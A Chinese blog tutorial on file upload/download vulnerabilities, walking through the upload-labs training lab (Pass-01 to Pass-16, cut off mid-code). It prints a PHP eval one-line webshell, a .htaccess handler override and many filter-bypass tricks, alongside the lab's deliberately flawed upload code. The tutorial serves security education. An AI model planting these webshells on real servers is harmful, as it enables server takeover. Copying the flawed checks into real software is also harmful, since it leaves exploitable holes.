IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> PHP知识库 -> 文件上传/下载漏洞的原理和实验 -> 正文阅读

[PHP知识库]文件上传/下载漏洞的原理和实验

文件上传下载漏洞的原理以及危害

文件上传漏洞产生原因

介绍

文件上传漏洞指程序员对用户文件上传部分控制不足处理缺陷,导致用户可以越过本身的权限向服务器上传可执行的动态脚本文件。这里上传的文件可以是木马、病毒、恶意脚本或WebShell等。这种攻击方式最直接和有效。“文件上传”本身没有问题,关键是服务器怎么解释和处理上传的文件。若服务器处理逻辑不够安全,将导致严重后果。

WebShell是以asp、php、jsp或者cgi等网页文件形式存在的一种命令执行环境,也可将其称为一种网页后门。攻击者入侵了一个网站后,通常将这些asp或php后门与web目录下的正常网页文件混在一起,然后利用浏览器访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或修改文件、操作数据库、执行任意命令等)。

产生的原因

  • 对于上传文件的后缀名(扩展名)没有做较严格的限制
  • 对上传文件的MIMETYPE(content-type)没有做检查
  • 权限上没有对上传的文件目录设置不可执行权限
  • web server对于上传文件或指定目录的行为没有限制

在web中进行文件上传的原理:通过将表单设置为multipart/form-data,同时加入文件域,而后通过HTTP协议将文件内容发送到服务器,服务器端读取这个分段(multipart)的数据信息,并将其中的文件内容提取出来并保存。

在这里插入图片描述

通常,在进行文件保存的时候,服务器端会读取文件的原始文件名,并从这个原始文件名中得出文件的拓展名,而后随机为文件起一个文件名(防止重复),并且加上原始文件的拓展名来保存到服务器上。

文件上传合法性检测方法

前端js验证

MIME类型验证
在这里插入图片描述

黑名单/白名单
在这里插入图片描述
检查文件内容(getimagesize()函数来获取图像信息、检验关键字)

禁止本地文件包含漏洞

使用安全的Web服务(apache、nginx(/test.png/xxx.php)、IIS解析漏洞(1.php;jpg))

文件上传漏洞20种绕过姿势

前端JS绕过

MIME类型绕过

后缀名大小绕过/php4、php5

00截断

覆盖.htaccess

Windows文件流特性绕过

双写文件名绕过

条件竞争

文件下载漏洞

一些网站由于业务需求,往往需要提供文件查看或者文件下载功能,但对用户查看或下载不做限制,则恶意用户就能查看或下载任意敏感文件。

下载文件任意文件、如脚本代码、服务及系统配置文件用作代码审计,得到更多可利用漏洞。

查找任意文件下载漏洞

查找传入文件名的参数:

导入文件等参数,如直接输入文件名,则可能有注入点。

注意一下几个参数名:
在这里插入图片描述
代码中查找漏洞:

以php为例,如有以下代码,都有可能存在任意文件下载漏洞:readfile、fopen、file_get_contents。

Windows敏感文件路径

在这里插入图片描述

Linux敏感文件路径

在这里插入图片描述

修复文件下载漏洞

以php为例:

  • 过滤.(点),使用户在url中不能回溯上级目录。
  • 正则严格判断用户输入参数的格式。
  • php.ini配置open_basedir限定文件访问范围。

实验

实验环境使用的是upload_labs。

https://github.com/c0ny1/upload-labs

初级

前端JS验证审计+绕过

Pass-01

首先准备好一句话木马

<?php @eval($_POST[value]); ?>

在这里插入图片描述

上传之后出现如下提示,限制文件上传类型
在这里插入图片描述
尝试用BurpSuite抓包,
在这里插入图片描述
Proxy Listeners是对代理监听进行设置的。
在这里插入图片描述
抓取返回包默认不选中,在这次实验中选中它

发现BurpSuite无法抓取请求包,F12的network也无记录(XHR是AJAX发出的请求)。

验证分为前台校验和后台检验,前台检验可减低服务器压力,提高响应速度,后台校验是为了安全性。

查看网页源代码,发现有如下代码块:

在这里插入图片描述
可知在点击submit的时候,会触发checkFile()函数,在提交post请求之前进行表单校验,return true才会发送请求。

再看看checkFile()进行的操作。

<script type="text/javascript">
    function checkFile() {
    	//通过name获取元素,这里的name和前面的upload_file对应,获取0号元素的值。
        var file = document.getElementsByName('upload_file')[0].value;
        if (file == null || file == "") {
            alert("请选择要上传的文件!");
            return false;
        }
        //定义允许上传的文件类型
        var allow_ext = ".jpg|.png|.gif";
        //提取上传文件的类型
        var ext_name = file.substring(file.lastIndexOf("."));
        //判断上传文件类型是否允许上传(indexOf()是某字符串首次出现的位置,没有返回-1)
        if (allow_ext.indexOf(ext_name) == -1) {
            var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
            alert(errMsg);
            return false;
        }
    }
</script>

可知在前端把请求拦截掉了。绕过方法是在BurpSuite中刷新页面,修改返回包中的js代码。

在这里插入图片描述
此时再上传文件,发现可以抓到请求包。

在这里插入图片描述
在请求体里面,可以看到发送的文件内容信息。直接Forward。

在这里插入图片描述
可以看到已经显示了一个img元素,它的src就是刚才上传的文件保存的路径。

<img src="../upload/backdoor.php" width="250px">

根据路径推测出文件的url是

http://localhost/upload/backdoor.php

进入后没有返回404,证明路径正确文件上传成功。此时可以用中国菜刀进行连接。
在这里插入图片描述
双击连接后即可获取到服务器的目录信息,然后进行上传下载编辑文件等操作,也可以执行命令,也可进行数据库操作。

content-type验证审计+绕过

pass-02(先把之前上传过的木马在upload文件夹里删除)。查看源代码,没有发现js验证的代码。

点击上传backdoor.php,抓包至Repeater,把请求体中的描述文件的content-tyep找出来

Content-Type: application/octet-stream

修改成

Content-Type: image/png

把文件标记成图片类型

在这里插入图片描述
文件上传成功。返回的第67行代码展示了文件保存的路径,同上一题。因为../表示上级目录,而http://localhost/Pass-02/index.php上级目录即根目录,所以路径同上题。

分析一下php的源代码

<?php
include '../config.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
    	//检查上传文件的类型(content-type)
        if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            //拼接路径
            $img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];          
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '文件类型不正确,请重新上传!';
        }
    } else {
        $msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
    }
}
?>

phtml绕过+代码审计

Pass-03

在这里插入图片描述
上传后门文件,会产生红字提示。此时,php环境可以使用php4/php5/phtml等后缀进行绕过。ASP可用asa、cer、cdx。ASPX可用ashx、asmx、ascx等后缀。JSP可用jspx、jspf。打开Apache/conf/httpd.conf配置文件,可以查看解析的文件后缀:

在这里插入图片描述

于是可以在抓包中修改文件名后缀信息

在这里插入图片描述

php4和php5会发现没有解析,原样输出
在这里插入图片描述

当尝试phtml时,解析成功,使用菜刀可成功连接。

在这里插入图片描述
尝试在配置中增加.txt,重启,然后修改上传的文件后缀为txt,发现服务器增加了对txt的解析,删掉解析后重启,变回原样输出文件内容。所以这是对解析文件的绕过(钻空子)。

查看后台php代码

<?php
include '../config.php';
include '../common.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;

//校验submit是否为空
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
    	//不允许的拓展名
        $deny_ext = array('.asp','.aspx','.php','.jsp');
        //去掉前后空格的文件名
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        //取点(.)之后的后缀名
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if(!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;            
            if (move_uploaded_file($temp_file,$img_path)) {
                 $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
?>

覆盖.htaccess绕过+代码审计

Pass-04,上传文件发现有如下提示
在这里插入图片描述

前面的方法都没有效果。

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

构造一个内容如下的.htaccess文件,表示把01.jpg文件当成php来解析执行。

# .htaccess
<FilesMatch "01.jpg">
	SetHandler application/x-httpd-php
</FilesMatch>

然后分别把.htaccess文件和01.jpg(就是php木马改一个名字)文件上传。右键复制图像地址,然后进入页面,成功传入且解析成功:
在这里插入图片描述
看一下后台代码:

<?php
include '../config.php';
include '../common.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2","php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2","pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //收尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            //和Pass-03不同,没有对文件进行重命名
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
?>

Pass-04没有像Pass-03那样对上传的文件进行重命名,因此可以被绕过。

大小写绕过+代码审计

Pass-05

<?php
include '../config.php';
include '../common.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
?>

可以发现黑名单列的不全,可以使用Php后缀进行上传,然后成功绕过。修补漏洞的方法可以把后缀全部转换成小写再去匹配。

后缀加空格绕过+代码审计

Pass-06,利用Windows的特性。

<?php
include '../config.php';
include '../common.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
    	//代码与前面相比,少了一句对filename的trim
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = $_FILES['upload_file']['name'];
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file,$img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件不允许上传';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
?>

可以看到,过滤语句里面少了一个trim()。这时只要在文件末尾加一个空格(利用在windows里面会自动去掉空格的特性,Linux里该绕过方法不可行),就可以绕过。
在这里插入图片描述
可以看出,改成白名单会比较安全。

中级

后缀加点绕过+代码审计

Pass-07。同样是利用windows的特性,在文件的后缀加一个点(.),会被系统自动删掉的特性进行绕过。虽然上传后的文件路径最后也有一个点,但是加不加点没有区别,同样可以读取和解析到上传的文件。

<?php
include '../config.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
?>

与前面的题相比,这题的代码少了一个deldot()函数来过滤掉点,所以可以利用Windows的特性绕过。

后缀加::$DATA绕过+代码审计

Pass-08,利用Windows的特性,会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名

例如:phpinfo.php::$DATAWindows会自动去掉末尾的::$DATA变成phpinfo.php

方法同上面的加空格绕过,加点绕过。

<?php
include '../config.php';
include '../common.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
?>

这时进行验证的文件名相当于xxxx.php::$DATA,可以看出绕过了黑名单。上传到服务器的文件在Windows中会自动去掉::$DATA

后缀. .(点空格点)绕过+代码审计

Pass-09,在文件的结尾加上点空格点,可以成功绕过。

<?php
include '../config.php';
include '../common.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
        $file_name = trim($_FILES['upload_file']['name']);
        $file_name = deldot($file_name);//删除文件名末尾的点
        $file_ext = strrchr($file_name, '.');
        $file_ext = strtolower($file_ext); //转换为小写
        $file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
        $file_ext = trim($file_ext); //首尾去空
        
        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['upload_file']['tmp_name'];
            $img_path = UPLOAD_PATH.'/'.$file_name;
            if (move_uploaded_file($temp_file, $img_path)) {
                $is_upload = true;
            } else {
                $msg = '上传出错!';
            }
        } else {
            $msg = '此文件类型不允许上传!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
?>

经过前面的过滤条件,最后进入判断的就是.php.,此时同前面的加点绕过同一个原理。

双写绕过+代码审计

Pass-10,原理同SQL注入中的关键字过滤绕过。

在上传时抓包,把文件名改成

filename="backdoor.pphphp"

在返回时就会看到上传的文件路径。

<img src="../upload/backdoor.php" width="250px" />

如果写的不对,上传文件的后缀可能是hpp。然后通过菜刀连接这个路径即可。

<?php
include '../config.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");

        $file_name = trim($_FILES['upload_file']['name']);
        //替换
        $file_name = str_ireplace($deny_ext,"", $file_name);
        $temp_file = $_FILES['upload_file']['tmp_name'];
        $img_path = UPLOAD_PATH.'/'.$file_name;        
        if (move_uploaded_file($temp_file, $img_path)) {
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
    }
}
?>

核心代码是str_ireplace(),意思是把filename的子串,只要能匹配上deny_ext里的内容,就替换成空。参数1可以是字符串或者数组。

GET00截断绕过+代码审计

Pass-11。拦截数据包,发现在POST上多了一个save_path的参数。

在这里插入图片描述

尝试抓包修改save_path路径,看是否可以控制,

POST /Pass-11/index.php?save_path=.. HTTP/1.1

.......

Content-Disposition: form-data; name="upload_file"; filename="backdoor.jpg"

url中打开jpg的文件路径http://localhost/2220210625220337.jpg发现可以打开且没有报错。

如果想在路径中设置为保存为文件名呢?发现会报上传出错。
在这里插入图片描述
这时可以在路径中加上一个%00,这是个url编码的十六进制00,上传之后没有报错,路径变得显示为下图

在这里插入图片描述
可以看出第一个路径就是save_path的路径,第二个路径是上传的jpg重命名后的路径。尝试访问路径

http://localhost/upload/1.php

结果没有报错,路径解析成功,用菜刀可以连接。为什么在路径后加%00就可以上传成功呢?

<?php
include '../config.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
	//白名单
    $ext_arr = array('jpg','png','gif');
    //截取文件后缀名
    $file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
    if(in_array($file_ext,$ext_arr)){
        $temp_file = $_FILES['upload_file']['tmp_name'];
        //关键
        $img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = '上传出错!';
        }
    } else{
        $msg = "只允许上传.jpg|.png|.gif类型文件!";
    }
}
?>

strrpos(),返回字符串在另一字符串中最后一次出现的位置,如果没有找到字符串则返回 FALSE。00阶段就是当操作系统读到00的时候,就会默认文件名已经结束,后面的字符串不起作用。保存的文件名变成了1.php。

利用了操作系统的特性。

另一种方法,当路径不可控时,可以改上传文件名filename,在php后面弄一个00。方法是先在Raw里面文件名后面加一个+号,选中后在右边的Inspector修改成00。(但是在本例的实验环境不可用)

在这里插入图片描述

POST00截断绕过+代码审计

Pass-12。抓包,发现与Pass-11的主要区别点是,本题是采用POST的方式,其他参数一致。参照上题的方法修改请求:

在这里插入图片描述
但是此时会返回提示上传失败。
原因是上题是GET,而本体是POST,在POST里面用%00,就会被认为只是个字符串的"%00",不会被解码。这时可以用上次说的,先使用一个+号占位,然后在Inspector修改Hex成00。

在这里插入图片描述

发送请求后发现上传成功,输入路径可以知道backdoor.php文件被成功解析。
在这里插入图片描述

高级

图片马绕过+代码审计

Pass-13。在图片中插入一句话木马。跟之前的题目一样先尝试上传backdoor.php,提示上传失败。本体会检查上传文件的文件类型。

常用文件头如下图
在这里插入图片描述

这题以.gif为例,把GIF 89A加入到上传的文件内容之前,把当前文件标识成gif文件类型。再发送请求,文件上传成功。

在这里插入图片描述

点进文件包含漏洞超链接

<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
    include $file;
}else{
    show_source(__file__);
}
?>

看到php代码。在该页面输入刚才上传的gif路径http://localhost/include.php?file=./upload/3720210627103555.gif
在这里插入图片描述
发现显示成GIF 89A。而里面的一句话木马则被成功解析并被当成代码来执行。此时打开菜刀输入该链接

在这里插入图片描述
双击后发现已经得到它的webshell。检查一下后台的代码

<?php
include '../config.php';
include '../head.php';
include '../menu.php';

function getReailFileType($filename){
	//用byte方式读文件
    $file = fopen($filename, "rb");
    $bin = fread($file, 2); //只读2字节
    fclose($file);
    
    $strInfo = @unpack("C2chars", $bin);    
    //拼接chars1和chars2的元素,然后转换成int
    $typeCode = intval($strInfo['chars1'].$strInfo['chars2']);    
    $fileType = '';    
    //根据解包结果判断文件类型
    switch($typeCode){      
        case 255216:            
            $fileType = 'jpg';
            break;
        case 13780:            
            $fileType = 'png';
            break;        
        case 7173:            
            $fileType = 'gif';
            break;
        default:            
            $fileType = 'unknown';
        }    
        return $fileType;
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $file_type = getReailFileType($temp_file);

    if($file_type == 'unknown'){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}
?>

除了上面的这种绕过方式,还有另外一种方法,就是把一个正常的图片和一句话木马文件进行拼接,在正常图片后面加一句话木马。

可以使用windows的copy命令

在这里插入图片描述

在这里插入图片描述

此时桌面生成了一个名为webshell的gif文件。

用notepad++打开生成的gif,可以看到开头有GIF89的字样,结尾有刚才插入的一句话木马,可知图片马制作成功

在这里插入图片描述
在这里插入图片描述
然后可以发现文件解析成功(图片文件不要选的太复杂的,不然有可能解析不成功),用菜刀可以连接成功。这就是图片马利用的两种方式。

Pass-14。思路与Pass-13是一样的,不过后台实现的代码有所不同。

<?php
include '../config.php';
include '../head.php';
include '../menu.php';

function isImage($filename){
    $types = '.jpeg|.png|.gif';
    if(file_exists($filename)){
    	//获取图像的信息
        $info = getimagesize($filename);
        //image_type_to_extension()函数的作用是根据给定的常量 IMAGETYPE_XXX 返回后缀名。
        $ext = image_type_to_extension($info[2]);
        //查找ext在types中第一次出现的位置,可选第3个参数指定开始搜索的位置。
        if(stripos($types,$ext)>=0){
            return $ext;
        }else{
            return false;
        }
    }else{
        return false;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}
?>

getimagesize()函数获得的信息如下:

<?php
list($width, $height, $type, $attr) = getimagesize("runoob-logo.png");
echo "宽度为:" . $width;
echo "高度为:" . $height;
echo "类型为:" . $type;
echo "属性:" . $attr;
?>

exif_imagetype绕过+代码审计

Pass-15。利用方式和Pass-13和Pass-14是一样的,不同的是后台的代码。

<?php
include '../config.php';
include '../head.php';
include '../menu.php';

function isImage($filename){
    //需要开启php_exif模块,返回常量1-16
    $image_type = exif_imagetype($filename);
    switch ($image_type) {
        case IMAGETYPE_GIF:
            return "gif";
            break;
        case IMAGETYPE_JPEG:
            return "jpg";
            break;
        case IMAGETYPE_PNG:
            return "png";
            break;    
        default:
            return false;
            break;
    }
}

$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
    $temp_file = $_FILES['upload_file']['tmp_name'];
    $res = isImage($temp_file);
    if(!$res){
        $msg = "文件未知,上传失败!";
    }else{
        $img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$res;
        if(move_uploaded_file($temp_file,$img_path)){
            $is_upload = true;
        } else {
            $msg = "上传出错!";
        }
    }
}
?>

以上是图片马的三种校验方式。

PHP exif扩展方法开启详解

服务器配置说明:

1.在php.ini文件中找到;extension=php_exif.dll,去掉前面的分号
2.在php.ini文件中找到;extension=php_mbstring.dll,去掉前面的分号,并将此行移动到extension=php_exif.dll之前,使之首先加载*。

3.找到[exif]段,把下面语句的分号去掉。

;exif.encode_unicode = ISO-8859-15 ;exif.decode_unicode_motorola =
UCS-2BE ;exif.decode_unicode_intel = UCS-2LE ;exif.encode_jis =
;exif.decode_jis_motorola = JIS ;exif.decode_jis_intel = JIS

如果不知是否开启,可以访问包含如下语句的php文件来检验

<? php phpinfo(); ?>

在这里插入图片描述

图像二次渲染绕过+代码审计

Pass-16。先看后台代码

<?php
include '../config.php';
include '../head.php';
include '../menu.php';

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])){
    // 获得上传文件的基本信息,文件名,类型,大小,临时文件路径
    $filename = $_FILES['upload_file']['name'];
    $filetype = $_FILES['upload_file']['type'];
    $tmpname = $_FILES['upload_file']['tmp_name'];

    $target_path=UPLOAD_PATH.'/'.basename($filename);

    // 获得上传文件的扩展名
    $fileext= substr(strrchr($filename,"."),1);

    //判断文件后缀与类型,合法才进行上传操作
    if(($fileext == "jpg") && ($filetype=="image/jpeg")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片(二次渲染)
            $im = imagecreatefromjpeg($target_path);

            if($im == false){
                $msg = "该文件不是jpg格式的图片!";
                //把文件删除
                @unlink($target_path);
            }else{
                //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".jpg";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                //往浏览器上显示新的图片
                imagejpeg($im,$img_path);
                @unlink($target_path);
                $is_upload = true;
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "png") && ($filetype=="image/png")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefrompng($target_path);

            if($im == false){
                $msg = "该文件不是png格式的图片!";
                @unlink($target_path);
            }else{
                 //给新图片指定文件名
                srand(time());
                $newfilename = strval(rand()).".png";
                //显示二次渲染后的图片(使用用户上传图片生成的新图片)
                $img_path = UPLOAD_PATH.'/'.$newfilename;
                imagepng($im,$img_path);

                @unlink($target_path);
                $is_upload = true;               
            }
        } else {
            $msg = "上传出错!";
        }

    }else if(($fileext == "gif") && ($filetype=="image/gif")){
        if(move_uploaded_file($tmpname,$target_path)){
            //使用上传的图片生成新的图片
            $im = imagecreatefromgif($target_path);
            if($im == false){
                $msg = "该文件不是gif格式的图片!";
